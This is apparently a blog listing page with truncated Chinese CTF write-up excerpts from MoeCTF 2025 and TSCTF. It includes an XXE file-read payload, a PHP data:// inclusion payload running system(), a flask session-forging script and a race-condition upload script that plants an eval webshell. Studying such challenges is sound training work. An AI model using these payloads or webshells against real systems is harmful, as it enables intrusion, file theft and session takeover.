MoeCTF 2025 wp
Web0 Web入门指北jsfuck编码 控制台运行即可 10 第十章 天机符阵xxe注入payload:1234<!DOCTYPE data [ <!ENTITY abc SYSTEM "file:///var/www/html/flag.txt">]><解析>&abc;</解析> 16 第十六章 昆仑星途src:12345<?phperror_reporting(0);highlight_file(__FILE__);include($_GET['file'] . ".php");payload: data伪协议 拼接后.php无影响1/?file=data://text/plain,<?php system('whoami') ?> Moe笑传之猜猜爆js代码审计,可以得知随机数生成并且储存为一个参数randomNumber,直接在控制台里输入这个参数名字即可获得随机数字。 13 第十三章 通幽关·灵纹诡影图片木马 bp...
SuperFileSystem
待解为什么环境变量的key不是test?为什么FileSystem不能通过proc/self/environ访问env文件?前置知识proc/self/environflask_session12345678910111213import flask_unsign# 要伪造的数据data = { "username": "admin1", "role": "admin"}# 已知密钥secret = "bbc77bd26e9f4ea1af87d1ce3c11e3c4"# 生成伪造的sessionforged_session = flask_unsign.sign(data, secret=secret)print(forged_session) 复现源码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545...
FileSystem
前置知识软链接ln -s zip -y .zip express框架session伪造Express Session 伪造的核心原理是绕过服务器的会话验证机制,构造一个能被服务器认可的虚假会话(Session)。其本质是利用会话管理的核心逻辑漏洞(如密钥泄露、签名规则被破解等),生成符合服务器验证格式的会话标识。 一、Express Session 的正常工作流程要理解伪造原理,先明确正常会话的生命周期: 会话创建:用户登录时,服务器生成唯一的 sessionId(如 UUID),并关联用户数据(如 userId),存储在服务器的会话存储中(如内存、Redis)。 签名 Session ID:服务器用配置的 secret(签名密钥)对 sessionId 进行签名,生成 s:sessionId.签名值 格式的字符串(s: 是 Express 的签名标识)。 发送 Cookie:服务器将签名后的字符串通过 connect.sid 这个 Cookie 发送给浏览器,浏览器后续请求会自动携带该 Cookie。 验证会话:服务器接收请求时,从 connect.sid 中提取签名后...
EZ_PY
EZ_PY前置知识原型链污染JWT验证JWT(JSON Web Token)验证的核心是通过签名确保 Token 未被篡改,同时验证 Token 的合法性(有效期、签发者等),避免身份伪造。核心验证原理JWT 由Header.Payload.Signature三段式字符串组成,验证过程围绕这三部分展开,核心是 “签名校验” 和 “内容合法性校验”。 验证前的基础处理服务器接收 Token 后,先按.分割为 Header、Payload、Signature 三部分。对 Header 和 Payload 分别进行 Base64 解码(注意:Base64 是编码而非加密,可直接解码查看内容)。 核心:签名校验(防篡改关键)签名是 JWT 验证的核心,目的是确认 Token 内容未被修改,且来自合法签发者。服务器获取本地存储的密钥(如你之前提到的 SECRET_KEY,HS256 算法用对称密钥,RS256 用私钥签名、公钥验证)。按 Header 中指定的算法(如 HS256),用 “解码后的 Header + 解码后的 Payload + 密钥” 重新计算签名。将重新计算的签名,与...
TSCTFwp
Web 方向争渡上传php文件 web返回 已从tmp删除 可知存在时间差1234<?php$f = fopen("shell.php", "w");fputs($f, '<?php @eval($_POST["cmd"]);?>');?>利用这个脚本 在服务器删除该文件之前 访问文件 使其在tmp写入一句话木马12345678910111213141516171819202122232425import requestsimport timeurl = "http://127.0.0.1:60865/tmp/getshell.php"while True: try: html = requests.get(url, headers=headers, timeout=5) # 设置超时时间,避免无限等待 if html.status_code == 200: print("OK")...










